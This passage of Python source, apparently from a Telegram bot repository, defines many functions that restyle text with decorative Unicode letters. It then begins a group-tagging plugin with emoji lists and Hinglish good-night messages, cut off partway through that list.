return text
def gothic(text):
style = {
"a": "𝔞",
"b": "𝔟",
"c": "𝔠",
"d": "𝔡",
"e": "𝔢",
"f": "𝔣",
"g": "𝔤",
"h": "𝔥",
"i": "𝔦",
"j": "𝔧",
"k": "𝔨",
"l": "𝔩",
"m": "𝔪",
"n": "𝔫",
"o": "𝔬",
"p": "𝔭",
"q": "𝔮",
"r": "𝔯",
"s": "𝔰",
"t": "𝔱",
"u": "𝔲",
"v": "𝔳",
"w": "𝔴",
"x": "𝔵",
"y": "𝔶",
"z": "𝔷",
"A": "𝔄",
"B": "𝔅",
"C": "ℭ",
"D": "𝔇",
"E": "𝔈",
"F": "𝔉",
"G": "𝔊",
"H": "ℌ",
"I": "ℑ",
"J": "𝔍",
"K": "𝔎",
"L": "𝔏",
"M": "𝔐",
"N": "𝔑",
"O": "𝔒",
"P": "𝔓",
"Q": "𝔔",
"R": "ℜ",
"S": "𝔖",
"T": "𝔗",
"U": "𝔘",
"V": "𝔙",
"W": "𝔚",
"X": "𝔛",
"Y": "𝔜",
"Z": "ℨ",
}
for i, j in style.items():
text = text.replace(i, j)
return text
def bold_gothic(text):
style = {
"a": "𝖆",
"b": "𝖇",
"c": "𝖈",
"d": "𝖉",
"e": "𝖊",
"f": "𝖋",
"g": "𝖌",
"h": "𝖍",
"i": "𝖎",
"j": "𝖏",
"k": "𝖐",
"l": "𝖑",
"m": "𝖒",
"n": "𝖓",
"o": "𝖔",
"p": "𝖕",
"q": "𝖖",
"r": "𝖗",
"s": "𝖘",
"t": "𝖙",
"u": "𝖚",
"v": "𝖛",
"w": "𝖜",
"x": "𝖝",
"y": "𝖞",
"z": "𝖟",
"A": "𝕬",
"B": "𝕭",
"C": "𝕮",
"D": "𝕺",
"E": "𝕰",
"F": "𝕱",
"G": "𝕲",
"H": "𝕳",
"I": "𝕴",
"J": "𝕵",
"K": "𝕶",
"L": "𝕷",
"M": "𝕸",
"N": "𝕹",
"O": "𝕺",
"P": "𝕻",
"Q": "𝕼",
"R": "𝕽",
"S": "𝕾",
"T": "𝕿",
"U": "𝖀",
"V": "𝖁",
"W": "𝖂",
"X": "𝖃",
"Y": "𝖄",
"Z": "𝖅",
}
for i, j in style.items():
text = text.replace(i, j)
return text
def cloud(text):
style = {
"a": "a͜͡",
"b": "b͜͡",
"c": "c͜͡",
"d": "d͜͡",
"e": "e͜͡",
"f": "f͜͡",
"g": "g͜͡",
"h": "h͜͡",
"i": "i͜͡",
"j": "j͜͡",
"k": "k͜͡",
"l": "l͜͡",
"m": "m͜͡",
"n": "n͜͡",
"o": "o͜͡",
"p": "p͜͡",
"q": "q͜͡",
"r": "r͜͡",
"s": "s͜͡",
"t": "t͜͡",
"u": "u͜͡",
"v": "v͜͡",
"w": "w͜͡",
"x": "x͜͡",
"y": "y͜͡",
"z": "z͜͡",
"A": "A͜͡",
"B": "B͜͡",
"C": "C͜͡",
"D": "D͜͡",
"E": "E͜͡",
"F": "F͜͡",
"G": "G͜͡",
"H": "H͜͡",
"I": "I͜͡",
"J": "J͜͡",
"K": "K͜͡",
"L": "L͜͡",
"M": "M͜͡",
"N": "N͜͡",
"O": "O͜͡",
"P": "P͜͡",
"Q": "Q͜͡",
"R": "R͜͡",
"S": "S͜͡",
"T": "T͜͡",
"U": "U͜͡",
"V": "V͜͡",
"W": "W͜͡",
"X": "X͜͡",
"Y": "Y͜͡",
"Z": "Z͜͡",
}
for i, j in style.items():
text = text.replace(i, j)
return text
def happy(text):
style = {
"a": "ă̈",
"b": "b̆̈",
"c": "c̆̈",
"d": "d̆̈",
"e": "ĕ̈",
"f": "f̆̈",
"g": "ğ̈",
"h": "h̆̈",
"i": "ĭ̈",
"j": "j̆̈",
"k": "k̆̈",
"l": "l̆̈",
"m": "m̆̈",
"n": "n̆̈",
"o": "ŏ̈",
"p": "p̆̈",
"q": "q̆̈",
"r": "r̆̈",
"s": "s̆̈",
"t": "t̆̈",
"u": "ŭ̈",
"v": "v̆̈",
"w": "w̆̈",
"x": "x̆̈",
"y": "y̆̈",
"z": "z̆̈",
"A": "Ă̈",
"B": "B̆̈",
"C": "C̆̈",
"D": "D̆̈",
"E": "Ĕ̈",
"F": "F̆̈",
"G": "Ğ̈",
"H": "H̆̈",
"I": "Ĭ̈",
"J": "J̆̈",
"K": "K̆̈",
"L": "L̆̈",
"M": "M̆̈",
"N": "N̆̈",
"O": "Ŏ̈",
"P": "P̆̈",
"Q": "Q̆̈",
"R": "R̆̈",
"S": "S̆̈",
"T": "T̆̈",
"U": "Ŭ̈",
"V": "V̆̈",
"W": "W̆̈",
"X": "X̆̈",
"Y": "Y̆̈",
"Z": "Z̆̈",
}
for i, j in style.items():
text = text.replace(i, j)
return text
def sad(text):
style = {
"a": "ȃ̈",
"b": "b̑̈",
"c": "c̑̈",
"d": "d̑̈",
"e": "ȇ̈",
"f": "f̑̈",
"g": "g̑̈",
"h": "h̑̈",
"i": "ȋ̈",
"j": "j̑̈",
"k": "k̑̈",
"l": "l̑̈",
"m": "m̑̈",
"n": "n̑̈",
"o": "ȏ̈",
"p": "p̑̈",
"q": "q̑̈",
"r": "ȓ̈",
"s": "s̑̈",
"t": "t̑̈",
"u": "ȗ̈",
"v": "v̑̈",
"w": "w̑̈",
"x": "x̑̈",
"y": "y̑̈",
"z": "z̑̈",
"A": "Ȃ̈",
"B": "B̑̈",
"C": "C̑̈",
"D": "D̑̈",
"E": "Ȇ̈",
"F": "F̑̈",
"G": "G̑̈",
"H": "H̑̈",
"I": "Ȋ̈",
"J": "J̑̈",
"K": "K̑̈",
"L": "L̑̈",
"M": "M̑̈",
"N": "N̑̈",
"O": "Ȏ̈",
"P": "P̑̈",
"Q": "Q̑̈",
"R": "Ȓ̈",
"S": "S̑̈",
"T": "T̑̈",
"U": "Ȗ̈",
"V": "V̑̈",
"W": "W̑̈",
"X": "X̑̈",
"Y": "Y̑̈",
"Z": "Z̑̈",
}
for i, j in style.items():
text = text.replace(i, j)
return text
def special(text):
style = {
"a": "🇦 ",
"b": "🇧 ",
"c": "🇨 ",
"d": "🇩 ",
"e": "🇪 ",
"f": "🇫 ",
"g": "🇬 ",
"h": "🇭 ",
"i": "🇮 ",
"j": "🇯 ",
"k": "🇰 ",
"l": "🇱 ",
"m": "🇲 ",
"n": "🇳 ",
"o": "🇴 ",
"p": "🇵 ",
"q": "🇶 ",
"r": "🇷 ",
"s": "🇸 ",
"t": "🇹 ",
"u": "🇺 ",
"v": "🇻 ",
"w": "🇼 ",
"x": "🇽 ",
"y": "🇾 ",
"z": "🇿 ",
"A": "🇦 ",
"B": "🇧 ",
"C": "🇨 ",
"D": "🇩 ",
"E": "🇪 ",
"F": "🇫 ",
"G": "🇬 ",
"H": "🇭 ",
"I": "🇮 ",
"J": "🇯 ",
"K": "🇰 ",
"L": "🇱 ",
"M": "🇲 ",
"N": "🇳 ",
"O": "🇴 ",
"P": "🇵 ",
"Q": "🇶 ",
"R": "🇷 ",
"S": "🇸 ",
"T": "🇹 ",
"U": "🇺 ",
"V": "🇻 ",
"W": "🇼 ",
"X": "🇽 ",
"Y": "🇾 ",
"Z": "🇿 ",
}
for i, j in style.items():
text = text.replace(i, j)
return text
def square(text):
style = {
"a": "🄰",
"b": "🄱",
"c": "🄲",
"d": "🄳",
"e": "🄴",
"f": "🄵",
"g": "🄶",
"h": "🄷",
"i": "🄸",
"j": "🄹",
"k": "🄺",
"l": "🄻",
"m": "🄼",
"n": "🄽",
"o": "🄾",
"p": "🄿",
"q": "🅀",
"r": "🅁",
"s": "🅂",
"t": "🅃",
"u": "🅄",
"v": "🅅",
"w": "🅆",
"x": "🅇",
"y": "🅈",
"z": "🅉",
"A": "🄰",
"B": "🄱",
"C": "🄲",
"D": "🄳",
"E": "🄴",
"F": "🄵",
"G": "🄶",
"H": "🄷",
"I": "🄸",
"J": "🄹",
"K": "🄺",
"L": "🄻",
"M": "🄼",
"N": "🄽",
"O": "🄾",
"P": "🄿",
"Q": "🅀",
"R": "🅁",
"S": "🅂",
"T": "🅃",
"U": "🅄",
"V": "🅅",
"W": "🅆",
"X": "🅇",
"Y": "🅈",
"Z": "🅉",
}
for i, j in style.items():
text = text.replace(i, j)
return text
def dark_square(text):
style = {
"a": "🅰︎",
"b": "🅱︎",
"c": "🅲︎",
"d": "🅳︎",
"e": "🅴︎",
"f": "🅵︎",
"g": "🅶︎",
"h": "🅷︎",
"i": "🅸︎",
"j": "🅹︎",
"k": "🅺︎",
"l": "🅻︎",
"m": "🅼︎",
"n": "🅽︎",
"o": "🅾︎",
"p": "🅿︎",
"q": "🆀︎",
"r": "🆁︎",
"s": "🆂︎",
"t": "🆃︎",
"u": "🆄︎",
"v": "🆅︎",
"w": "🆆︎",
"x": "🆇︎",
"y": "🆈︎",
"z": "🆉︎",
"A": "🅰︎",
"B": "🅱︎",
"C": "🅲︎",
"D": "🅳︎",
"E": "🅴︎",
"F": "🅵︎",
"G": "🅶︎",
"H": "🅷︎",
"I": "🅸︎",
"J": "🅹︎",
"K": "🅺︎",
"L": "🅻︎",
"M": "🅼︎",
"N": "🅽︎",
"O": "🅾︎",
"P": "🅿︎",
"Q": "🆀︎",
"R": "🆁︎",
"S": "🆂︎",
"T": "🆃︎",
"U": "🆄︎",
"V": "🆅︎",
"W": "🆆︎",
"X": "🆇︎",
"Y": "🆈︎",
"Z": "🆉︎",
}
for i, j in style.items():
text = text.replace(i, j)
return text
def andalucia(text):
style = {
"a": "ꪖ",
"b": "᥇",
"c": "ᥴ",
"d": "ᦔ",
"e": "ꫀ",
"f": "ᠻ",
"g": "ᧁ",
"h": "ꫝ",
"i": "𝓲",
"j": "𝓳",
"k": "𝘬",
"l": "ꪶ",
"m": "ꪑ",
"n": "ꪀ",
"o": "ꪮ",
"p": "ρ",
"q": "𝘲",
"r": "𝘳",
"s": "𝘴",
"t": "𝓽",
"u": "ꪊ",
"v": "ꪜ",
"w": "᭙",
"x": "᥊",
"y": "ꪗ",
"z": "ɀ",
"A": "ꪖ",
"B": "᥇",
"C": "ᥴ",
"D": "ᦔ",
"E": "ꫀ",
"F": "ᠻ",
"G": "ᧁ",
"H": "ꫝ",
"I": "𝓲",
"J": "𝓳",
"K": "𝘬",
"L": "ꪶ",
"M": "ꪑ",
"N": "ꪀ",
"O": "ꪮ",
"P": "ρ",
"Q": "𝘲",
"R": "𝘳",
"S": "𝘴",
"T": "𝓽",
"U": "ꪊ",
"V": "ꪜ",
"W": "᭙",
"X": "᥊",
"Y": "ꪗ",
"Z": "ɀ",
}
for i, j in style.items():
text = text.replace(i, j)
return text
def manga(text):
style = {
"a": "卂",
"b": "乃",
"c": "匚",
"d": "ᗪ",
"e": "乇",
"f": "千",
"g": "ᘜ",
"h": "卄",
"i": "|",
"j": "フ",
"k": "Ҝ",
"l": "ㄥ",
"m": "爪",
"n": "几",
"o": "ㄖ",
"p": "卩",
"q": "Ҩ",
"r": "尺",
"s": "丂",
"t": "ㄒ",
"u": "ㄩ",
"v": "ᐯ",
"w": "山",
"x": "乂",
"y": "ㄚ",
"z": "乙",
"A": "卂",
"B": "乃",
"C": "匚",
"D": "ᗪ",
"E": "乇",
"F": "千",
"G": "ᘜ",
"H": "卄",
"I": "|",
"J": "フ",
"K": "Ҝ",
"L": "ㄥ",
"M": "爪",
"N": "几",
"O": "ㄖ",
"P": "卩",
"Q": "Ҩ",
"R": "尺",
"S": "丂",
"T": "ㄒ",
"U": "ㄩ",
"V": "ᐯ",
"W": "山",
"X": "乂",
"Y": "ㄚ",
"Z": "乙",
}
for i, j in style.items():
text = text.replace(i, j)
return text
def stinky(text):
style = {
"a": "a̾",
"b": "b̾",
"c": "c̾",
"d": "d̾",
"e": "e̾",
"f": "f̾",
"g": "g̾",
"h": "h̾",
"i": "i̾",
"j": "j̾",
"k": "k̾",
"l": "l̾",
"m": "m̾",
"n": "n̾",
"o": "o̾",
"p": "p̾",
"q": "q̾",
"r": "r̾",
"s": "s̾",
"t": "t̾",
"u": "u̾",
"v": "v̾",
"w": "w̾",
"x": "x̾",
"y": "y̾",
"z": "z̾",
"A": "A̾",
"B": "B̾",
"C": "C̾",
"D": "D̾",
"E": "E̾",
"F": "F̾",
"G": "G̾",
"H": "H̾",
"I": "I̾",
"J": "J̾",
"K": "K̾",
"L": "L̾",
"M": "M̾",
"N": "N̾",
"O": "O̾",
"P": "P̾",
"Q": "Q̾",
"R": "R̾",
"S": "S̾",
"T": "T̾",
"U": "U̾",
"V": "V̾",
"W": "W̾",
"X": "X̾",
"Y": "Y̾",
"Z": "Z̾",
}
for i, j in style.items():
text = text.replace(i, j)
return text
def bubbles(text):
style = {
"a": "ḁͦ",
"b": "b̥ͦ",
"c": "c̥ͦ",
"d": "d̥ͦ",
"e": "e̥ͦ",
"f": "f̥ͦ",
"g": "g̥ͦ",
"h": "h̥ͦ",
"i": "i̥ͦ",
"j": "j̥ͦ",
"k": "k̥ͦ",
"l": "l̥ͦ",
"m": "m̥ͦ",
"n": "n̥ͦ",
"o": "o̥ͦ",
"p": "p̥ͦ",
"q": "q̥ͦ",
"r": "r̥ͦ",
"s": "s̥ͦ",
"t": "t̥ͦ",
"u": "u̥ͦ",
"v": "v̥ͦ",
"w": "w̥ͦ",
"x": "x̥ͦ",
"y": "y̥ͦ",
"z": "z̥ͦ",
"A": "Ḁͦ",
"B": "B̥ͦ",
"C": "C̥ͦ",
"D": "D̥ͦ",
"E": "E̥ͦ",
"F": "F̥ͦ",
"G": "G̥ͦ",
"H": "H̥ͦ",
"I": "I̥ͦ",
"J": "J̥ͦ",
"K": "K̥ͦ",
"L": "L̥ͦ",
"M": "M̥ͦ",
"N": "N̥ͦ",
"O": "O̥ͦ",
"P": "P̥ͦ",
"Q": "Q̥ͦ",
"R": "R̥ͦ",
"S": "S̥ͦ",
"T": "T̥ͦ",
"U": "U̥ͦ",
"V": "V̥ͦ",
"W": "W̥ͦ",
"X": "X̥ͦ",
"Y": "Y̥ͦ",
"Z": "Z̥ͦ",
}
for i, j in style.items():
text = text.replace(i, j)
return text
def underline(text):
style = {
"a": "a͟",
"b": "b͟",
"c": "c͟",
"d": "d͟",
"e": "e͟",
"f": "f͟",
"g": "g͟",
"h": "h͟",
"i": "i͟",
"j": "j͟",
"k": "k͟",
"l": "l͟",
"m": "m͟",
"n": "n͟",
"o": "o͟",
"p": "p͟",
"q": "q͟",
"r": "r͟",
"s": "s͟",
"t": "t͟",
"u": "u͟",
"v": "v͟",
"w": "w͟",
"x": "x͟",
"y": "y͟",
"z": "z͟",
"A": "A͟",
"B": "B͟",
"C": "C͟",
"D": "D͟",
"E": "E͟",
"F": "F͟",
"G": "G͟",
"H": "H͟",
"I": "I͟",
"J": "J͟",
"K": "K͟",
"L": "L͟",
"M": "M͟",
"N": "N͟",
"O": "O͟",
"P": "P͟",
"Q": "Q͟",
"R": "R͟",
"S": "S͟",
"T": "T͟",
"U": "U͟",
"V": "V͟",
"W": "W͟",
"X": "X͟",
"Y": "Y͟",
"Z": "Z͟",
}
for i, j in style.items():
text = text.replace(i, j)
return text
def ladybug(text):
style = {
"a": "ꍏ",
"b": "ꌃ",
"c": "ꏳ",
"d": "ꀷ",
"e": "ꏂ",
"f": "ꎇ",
"g": "ꁅ",
"h": "ꀍ",
"i": "ꀤ",
"j": "꒻",
"k": "ꀘ",
"l": "꒒",
"m": "ꎭ",
"n": "ꈤ",
"o": "ꂦ",
"p": "ᖘ",
"q": "ꆰ",
"r": "ꋪ",
"s": "ꌚ",
"t": "꓄",
"u": "ꀎ",
"v": "꒦",
"w": "ꅐ",
"x": "ꉧ",
"y": "ꌩ",
"z": "ꁴ",
"A": "ꍏ",
"B": "ꌃ",
"C": "ꏳ",
"D": "ꀷ",
"E": "ꏂ",
"F": "ꎇ",
"G": "ꁅ",
"H": "ꀍ",
"I": "ꀤ",
"J": "꒻",
"K": "ꀘ",
"L": "꒒",
"M": "ꎭ",
"N": "ꈤ",
"O": "ꂦ",
"P": "ᖘ",
"Q": "ꆰ",
"R": "ꋪ",
"S": "ꌚ",
"T": "꓄",
"U": "ꀎ",
"V": "꒦",
"W": "ꅐ",
"X": "ꉧ",
"Y": "ꌩ",
"Z": "ꁴ",
}
for i, j in style.items():
text = text.replace(i, j)
return text
def rays(text):
style = {
"a": "a҉",
"b": "b҉",
"c": "c҉",
"d": "d҉",
"e": "e҉",
"f": "f҉",
"g": "g҉",
"h": "h҉",
"i": "i҉",
"j": "j҉",
"k": "k҉",
"l": "l҉",
"m": "m҉",
"n": "n҉",
"o": "o҉",
"p": "p҉",
"q": "q҉",
"r": "r҉",
"s": "s҉",
"t": "t҉",
"u": "u҉",
"v": "v҉",
"w": "w҉",
"x": "x҉",
"y": "y҉",
"z": "z҉",
"A": "A҉",
"B": "B҉",
"C": "C҉",
"D": "D҉",
"E": "E҉",
"F": "F҉",
"G": "G҉",
"H": "H҉",
"I": "I҉",
"J": "J҉",
"K": "K҉",
"L": "L҉",
"M": "M҉",
"N": "N҉",
"O": "O҉",
"P": "P҉",
"Q": "Q҉",
"R": "R҉",
"S": "S҉",
"T": "T҉",
"U": "U҉",
"V": "V҉",
"W": "W҉",
"X": "X҉",
"Y": "Y҉",
"Z": "Z҉",
}
for i, j in style.items():
text = text.replace(i, j)
return text
def birds(text):
style = {
"a": "a҈",
"b": "b҈",
"c": "c҈",
"d": "d҈",
"e": "e҈",
"f": "f҈",
"g": "g҈",
"h": "h҈",
"i": "i҈",
"j": "j҈",
"k": "k҈",
"l": "l҈",
"m": "m҈",
"n": "n҈",
"o": "o҈",
"p": "p҈",
"q": "q҈",
"r": "r҈",
"s": "s҈",
"t": "t҈",
"u": "u҈",
"v": "v҈",
"w": "w҈",
"x": "x҈",
"y": "y҈",
"z": "z҈",
"A": "A҈",
"B": "B҈",
"C": "C҈",
"D": "D҈",
"E": "E҈",
"F": "F҈",
"G": "G҈",
"H": "H҈",
"I": "I҈",
"J": "J҈",
"K": "K҈",
"L": "L҈",
"M": "M҈",
"N": "N҈",
"O": "O҈",
"P": "P҈",
"Q": "Q҈",
"R": "R҈",
"S": "S҈",
"T": "T҈",
"U": "U҈",
"V": "V҈",
"W": "W҈",
"X": "X҈",
"Y": "Y҈",
"Z": "Z҈",
}
for i, j in style.items():
text = text.replace(i, j)
return text
def slash(text):
style = {
"a": "a̸",
"b": "b̸",
"c": "c̸",
"d": "d̸",
"e": "e̸",
"f": "f̸",
"g": "g̸",
"h": "h̸",
"i": "i̸",
"j": "j̸",
"k": "k̸",
"l": "l̸",
"m": "m̸",
"n": "n̸",
"o": "o̸",
"p": "p̸",
"q": "q̸",
"r": "r̸",
"s": "s̸",
"t": "t̸",
"u": "u̸",
"v": "v̸",
"w": "w̸",
"x": "x̸",
"y": "y̸",
"z": "z̸",
"A": "A̸",
"B": "B̸",
"C": "C̸",
"D": "D̸",
"E": "E̸",
"F": "F̸",
"G": "G̸",
"H": "H̸",
"I": "I̸",
"J": "J̸",
"K": "K̸",
"L": "L̸",
"M": "M̸",
"N": "N̸",
"O": "O̸",
"P": "P̸",
"Q": "Q̸",
"R": "R̸",
"S": "S̸",
"T": "T̸",
"U": "U̸",
"V": "V̸",
"W": "W̸",
"X": "X̸",
"Y": "Y̸",
"Z": "Z̸",
}
for i, j in style.items():
text = text.replace(i, j)
return text
def stop(text):
style = {
"a": "a⃠",
"b": "b⃠",
"c": "c⃠",
"d": "d⃠",
"e": "e⃠",
"f": "f⃠",
"g": "g⃠",
"h": "h⃠",
"i": "i⃠",
"j": "j⃠",
"k": "k⃠",
"l": "l⃠",
"m": "m⃠",
"n": "n⃠",
"o": "o⃠",
"p": "p⃠",
"q": "q⃠",
"r": "r⃠",
"s": "s⃠",
"t": "t⃠",
"u": "u⃠",
"v": "v⃠",
"w": "w⃠",
"x": "x⃠",
"y": "y⃠",
"z": "z⃠",
"A": "A⃠",
"B": "B⃠",
"C": "C⃠",
"D": "D⃠",
"E": "E⃠",
"F": "F⃠",
"G": "G⃠",
"H": "H⃠",
"I": "I⃠",
"J": "J⃠",
"K": "K⃠",
"L": "L⃠",
"M": "M⃠",
"N": "N⃠",
"O": "O⃠",
"P": "P⃠",
"Q": "Q⃠",
"R": "R⃠",
"S": "S⃠",
"T": "T⃠",
"U": "U⃠",
"V": "V⃠",
"W": "W⃠",
"X": "X⃠",
"Y": "Y⃠",
"Z": "Z⃠",
}
for i, j in style.items():
text = text.replace(i, j)
return text
def skyline(text):
style = {
"a": "a̺͆",
"b": "b̺͆",
"c": "c̺͆",
"d": "d̺͆",
"e": "e̺͆",
"f": "f̺͆",
"g": "g̺͆",
"h": "h̺͆",
"i": "i̺͆",
"j": "j̺͆",
"k": "k̺͆",
"l": "l̺͆",
"m": "m̺͆",
"n": "n̺͆",
"o": "o̺͆",
"p": "p̺͆",
"q": "q̺͆",
"r": "r̺͆",
"s": "s̺͆",
"t": "t̺͆",
"u": "u̺͆",
"v": "v̺͆",
"w": "w̺͆",
"x": "x̺͆",
"y": "y̺͆",
"z": "z̺͆",
"A": "A̺͆",
"B": "B̺͆",
"C": "C̺͆",
"D": "D̺͆",
"E": "E̺͆",
"F": "F̺͆",
"G": "G̺͆",
"H": "H̺͆",
"I": "I̺͆",
"J": "J̺͆",
"K": "K̺͆",
"L": "L̺͆",
"M": "M̺͆",
"N": "N̺͆",
"O": "O̺͆",
"P": "P̺͆",
"Q": "Q̺͆",
"R": "R̺͆",
"S": "S̺͆",
"T": "T̺͆",
"U": "U̺͆",
"V": "V̺͆",
"W": "W̺͆",
"X": "X̺͆",
"Y": "Y̺͆",
"Z": "Z̺͆",
}
for i, j in style.items():
text = text.replace(i, j)
return text
def arrows(text):
style = {
"a": "a͎",
"b": "b͎",
"c": "c͎",
"d": "d͎",
"e": "e͎",
"f": "f͎",
"g": "g͎",
"h": "h͎",
"i": "i͎",
"j": "j͎",
"k": "k͎",
"l": "l͎",
"m": "m͎",
"n": "n͎",
"o": "o͎",
"p": "p͎",
"q": "q͎",
"r": "r͎",
"s": "s͎",
"t": "t͎",
"u": "u͎",
"v": "v͎",
"w": "w͎",
"x": "x͎",
"y": "y͎",
"z": "z͎",
"A": "A͎",
"B": "B͎",
"C": "C͎",
"D": "D͎",
"E": "E͎",
"F": "F͎",
"G": "G͎",
"H": "H͎",
"I": "I͎",
"J": "J͎",
"K": "K͎",
"L": "L͎",
"M": "M͎",
"N": "N͎",
"O": "O͎",
"P": "P͎",
"Q": "Q͎",
"R": "R͎",
"S": "S͎",
"T": "T͎",
"U": "U͎",
"V": "V͎",
"W": "W͎",
"X": "X͎",
"Y": "Y͎",
"Z": "Z͎",
}
for i, j in style.items():
text = text.replace(i, j)
return text
def rvnes(text):
style = {
"a": "ል",
"b": "ጌ",
"c": "ር",
"d": "ዕ",
"e": "ቿ",
"f": "ቻ",
"g": "ኗ",
"h": "ዘ",
"i": "ጎ",
"j": "ጋ",
"k": "ጕ",
"l": "ረ",
"m": "ጠ",
"n": "ክ",
"o": "ዐ",
"p": "የ",
"q": "ዒ",
"r": "ዪ",
"s": "ነ",
"t": "ፕ",
"u": "ሁ",
"v": "ሀ",
"w": "ሠ",
"x": "ሸ",
"y": "ሃ",
"z": "ጊ",
"A": "ል",
"B": "ጌ",
"C": "ር",
"D": "ዕ",
"E": "ቿ",
"F": "ቻ",
"G": "ኗ",
"H": "ዘ",
"I": "ጎ",
"J": "ጋ",
"K": "ጕ",
"L": "ረ",
"M": "ጠ",
"N": "ክ",
"O": "ዐ",
"P": "የ",
"Q": "ዒ",
"R": "ዪ",
"S": "ነ",
"T": "ፕ",
"U": "ሁ",
"V": "ሀ",
"W": "ሠ",
"X": "ሸ",
"Y": "ሃ",
"Z": "ጊ",
}
for i, j in style.items():
text = text.replace(i, j)
return text
def strike(text):
style = {
"a": "a̶",
"b": "b̶",
"c": "c̶",
"d": "d̶",
"e": "e̶",
"f": "f̶",
"g": "g̶",
"h": "h̶",
"i": "i̶",
"j": "j̶",
"k": "k̶",
"l": "l̶",
"m": "m̶",
"n": "n̶",
"o": "o̶",
"p": "p̶",
"q": "q̶",
"r": "r̶",
"s": "s̶",
"t": "t̶",
"u": "u̶",
"v": "v̶",
"w": "w̶",
"x": "x̶",
"y": "y̶",
"z": "z̶",
"A": "A̶",
"B": "B̶",
"C": "C̶",
"D": "D̶",
"E": "E̶",
"F": "F̶",
"G": "G̶",
"H": "H̶",
"I": "I̶",
"J": "J̶",
"K": "K̶",
"L": "L̶",
"M": "M̶",
"N": "N̶",
"O": "O̶",
"P": "P̶",
"Q": "Q̶",
"R": "R̶",
"S": "S̶",
"T": "T̶",
"U": "U̶",
"V": "V̶",
"W": "W̶",
"X": "X̶",
"Y": "Y̶",
"Z": "Z̶",
}
for i, j in style.items():
text = text.replace(i, j)
return text
def frozen(text):
style = {
"a": "a༙",
"b": "b༙",
"c": "c༙",
"d": "d༙",
"e": "e༙",
"f": "f༙",
"g": "g༙",
"h": "h༙",
"i": "i༙",
"j": "j༙",
"k": "k༙",
"l": "l༙",
"m": "m༙",
"n": "n༙",
"o": "o༙",
"p": "p༙",
"q": "q༙",
"r": "r༙",
"s": "s༙",
"t": "t༙",
"u": "u༙",
"v": "v༙",
"w": "w༙",
"x": "x༙",
"y": "y༙",
"z": "z༙",
"A": "A༙",
"B": "B༙",
"C": "C༙",
"D": "D༙",
"E": "E༙",
"F": "F༙",
"G": "G༙",
"H": "H༙",
"I": "I༙",
"J": "J༙",
"K": "K༙",
"L": "L༙",
"M": "M༙",
"N": "N༙",
"O": "O༙",
"P": "P༙",
"Q": "Q༙",
"R": "R༙",
"S": "S༙",
"T": "T༙",
"U": "U༙",
"V": "V༙",
"W": "W༙",
"X": "X༙",
"Y": "Y༙",
"Z": "Z༙",
}
for i, j in style.items():
text = text.replace(i, j)
return text
================================================
FILE: BrandrdXMusic/plugins/admins/gmtag.py
================================================
from BrandrdXMusic import app
import asyncio
import random
from pyrogram import Client, filters
from pyrogram.enums import ChatType, ChatMemberStatus
from pyrogram.errors import UserNotParticipant
from pyrogram.types import ChatPermissions
spam_chats = []
EMOJI = [ "🦋🦋🦋🦋🦋",
"🧚🌸🧋🍬🫖",
"🥀🌷🌹🌺💐",
"🌸🌿💮🌱🌵",
"❤️💚💙💜🖤",
"💓💕💞💗💖",
"🌸💐🌺🌹🦋",
"🍔🦪🍛🍲🥗",
"🍎🍓🍒🍑🌶️",
"🧋🥤🧋🥛🍷",
"🍬🍭🧁🎂🍡",
"🍨🧉🍺☕🍻",
"🥪🥧🍦🍥🍚",
"🫖☕🍹🍷🥛",
"☕🧃🍩🍦🍙",
"🍁🌾💮🍂🌿",
"🌨️🌥️⛈️🌩️🌧️",
"🌷🏵️🌸🌺💐",
"💮🌼🌻🍀🍁",
"🧟🦸🦹🧙👸",
"🧅🍠🥕🌽🥦",
"🐷🐹🐭🐨🐻❄️",
"🦋🐇🐀🐈🐈⬛",
"🌼🌳🌲🌴🌵",
"🥩🍋🍐🍈🍇",
"🍴🍽️🔪🍶🥃",
"🕌🏰🏩⛩️🏩",
"🎉🎊🎈🎂🎀",
"🪴🌵🌴🌳🌲",
"🎄🎋🎍🎑🎎",
"🦅🦜🕊️🦤🦢",
"🦤🦩🦚🦃🦆",
"🐬🦭🦈🐋🐳",
"🐔🐟🐠🐡🦐",
"🦩🦀🦑🐙🦪",
"🐦🦂🕷️🕸️🐚",
"🥪🍰🥧🍨🍨",
" 🥬🍉🧁🧇",
]
TAGMES = [ " **➠ ɢᴏᴏᴅ ɴɪɢʜᴛ 🌚** ",
" **➠ ᴄʜᴜᴘ ᴄʜᴀᴘ sᴏ ᴊᴀ 🙊** ",
" **➠ ᴘʜᴏɴᴇ ʀᴀᴋʜ ᴋᴀʀ sᴏ ᴊᴀ, ɴᴀʜɪ ᴛᴏ ʙʜᴏᴏᴛ ᴀᴀ ᴊᴀʏᴇɢᴀ..👻** ",
" **➠ ᴀᴡᴇᴇ ʙᴀʙᴜ sᴏɴᴀ ᴅɪɴ ᴍᴇɪɴ ᴋᴀʀ ʟᴇɴᴀ ᴀʙʜɪ sᴏ ᴊᴀᴏ..?? 🥲** ",
" **➠ ᴍᴜᴍᴍʏ ᴅᴇᴋʜᴏ ʏᴇ ᴀᴘɴᴇ ɢғ sᴇ ʙᴀᴀᴛ ᴋʀ ʀʜᴀ ʜ ʀᴀᴊᴀɪ ᴍᴇ ɢʜᴜs ᴋᴀʀ, sᴏ ɴᴀʜɪ ʀᴀʜᴀ 😜** ",
" **➠ ᴘᴀᴘᴀ ʏᴇ ᴅᴇᴋʜᴏ ᴀᴘɴᴇ ʙᴇᴛᴇ ᴋᴏ ʀᴀᴀᴛ ʙʜᴀʀ ᴘʜᴏɴᴇ ᴄʜᴀʟᴀ ʀʜᴀ ʜᴀɪ 🤭** ",
" **➠ ᴊᴀɴᴜ ᴀᴀᴊ ʀᴀᴀᴛ ᴋᴀ sᴄᴇɴᴇ ʙɴᴀ ʟᴇ..?? 🌠** ",
" **➠ ɢɴ sᴅ ᴛᴄ.. 🙂** ",
" **➠ ɢᴏᴏᴅ ɴɪɢʜᴛ sᴡᴇᴇᴛ ᴅʀᴇᴀᴍ ᴛᴀᴋᴇ ᴄᴀʀᴇ..?? ✨** ",
" **➠ ʀᴀᴀᴛ ʙʜᴜᴛ ʜᴏ ɢʏɪ ʜᴀɪ sᴏ ᴊᴀᴏ, ɢɴ..?? 🌌** ",
" **➠ ᴍᴜᴍᴍʏ ᴅᴇᴋʜᴏ 11 ʙᴀᴊɴᴇ ᴡᴀʟᴇ ʜᴀɪ ʏᴇ ᴀʙʜɪ ᴛᴀᴋ ᴘʜᴏɴᴇ ᴄʜᴀʟᴀ ʀʜᴀ ɴᴀʜɪ sᴏ ɴᴀʜɪ ʀʜᴀ 🕦** ",
